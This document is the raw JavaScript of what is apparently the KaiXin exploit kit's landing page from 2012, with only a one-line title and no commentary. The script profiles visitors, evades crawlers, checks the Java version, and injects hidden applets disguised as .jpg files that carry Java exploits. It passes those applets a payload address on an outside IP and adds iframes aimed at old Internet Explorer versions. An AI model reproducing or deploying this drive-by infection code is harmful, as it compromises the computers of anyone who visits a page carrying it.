KaiXin Exploit Kit EK November 2012

var RWkTTC8=navigator.userAgent.toLowerCase();
if(document.cookie.indexOf("Udz1szV=")==-1 && RWkTTC8.indexOf("bot")==-1 && RWkTTC8.indexOf("spider")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="Udz1szV=Yes;path=/;expires="+expires.toGMTString();
var kaixiny=document.createElement('body');
document.body.appendChild(kaixiny);
var kaixinm=deployJava.getJREs()+"";
kaixinm=parseInt(kaixinm.replace(/\.|\_/g,''));
if (kaixinm<=17007)
{
    var kaixin=document.createElement('applet');
    kaixin.width="1";
    kaixin.height="1";
    if((kaixinm<=16027 && kaixinm>=16000) || (kaixinm>=15000 && kaixinm<=15031))
    {
        kaixin.archive="xdwmA2Xd.jpg";
        kaixin.code="GondadGondadExp.class";
        kaixin.setAttribute("dota","http://204.13.66.197/ins/rar.css");
        document.body.appendChild(kaixin);
    }
    else if ((kaixinm<=17003 && kaixinm>=17000) || (kaixinm<=16032 && kaixinm>=16000) ||(kaixinm>=15035 && kaixinm<=15000))
    {
        kaixin.archive="lXjOhqg.jpg";
        kaixin.code="gond1723.Gondattack.class";
        kaixin.setAttribute("xiaomaolv","http://204.13.66.197/ins/rar.css");
        kaixin.setAttribute("bn","woyouyizhixiaomaolv");
        kaixin.setAttribute("si","conglaiyebuqi");
        kaixin.setAttribute("bs","748");
        document.body.appendChild(kaixin);
    }
    else if (kaixinm<=17006 && kaixinm>=17003)
    {
        var ques3 = window.navigator.userAgent.toLowerCase();
        if (ques3.indexOf("msie 6") > -1)
        {
            document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://204.13.66.197/ins/rar.css'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'cve2012xxxx.Gondvv.class'><param name=archive value= 'obDb9.jpg'></OBJECT>");
        }
        else
        {
            document.write("<br>");
            var kaixinq = document.createElement("body");
            document.body.appendChild(kaixinq);
            var kaixiny = document.createElement("applet");
            kaixiny.width = "256";
            kaixiny.height = "256";
            kaixiny.archive = "obDb9.jpg";
            kaixiny.code = "cve2012xxxx.Gondvv.class";
            kaixiny.setAttribute("xiaomaolv", "http://204.13.66.197/ins/rar.css");
            kaixiny.setAttribute("bn", "woyouyizhixiaomaolv");
            kaixiny.setAttribute("si", "conglaiyebuqi");
            kaixiny.setAttribute("bs", "748");
            document.body.appendChild(kaixiny);
        }
    }
    else
    {
        var oxysy1 = window.navigator.userAgent.toLowerCase();
        if (oxysy1.indexOf("msie 6") > -1)
        {
            document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='1' height='1'><param name=xiaomaolv value= 'http://204.13.66.197/ins/rar.css'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'gond20125076.Gondqq.class'><param name=archive value= 'MMWYD.jpg'></OBJECT>");
        }
        else
        {
            document.write("<br>");
            var kaixinq = document.createElement("body");
            document.body.appendChild(kaixinq);
            var kaixiny = document.createElement("applet");
            kaixiny.width = "1";
            kaixiny.height = "1";
            kaixiny.archive = "MMWYD.jpg";
            kaixiny.code = "gond20125076.Gondqq.class";
            kaixiny.setAttribute("xiaomaolv", "http://204.13.66.197/ins/rar.css");
            kaixiny.setAttribute("bn", "woyouyizhixiaomaolv");
            kaixiny.setAttribute("si", "conglaiyebuqi");
            kaixiny.setAttribute("bs", "748");
            document.body.appendChild(kaixiny);
        }
    }
}
else
{

    var pcss=navigator.userAgent.toLowerCase();
    var UaYcKzD2 = window.navigator.userAgent.toLowerCase();
    if ((UaYcKzD2.indexOf('msie 8.0') > -1))
    {
        document.writeln("<iframe src=WysBRr.html><\/iframe>");
    }
    else if ((UaYcKzD2.indexOf('msie 6.0') > -1) || (UaYcKzD2.indexOf('msie 7.0') > -1))
    {
        document.writeln("<iframe src=JSZlR.html><\/iframe>");

    }
}
}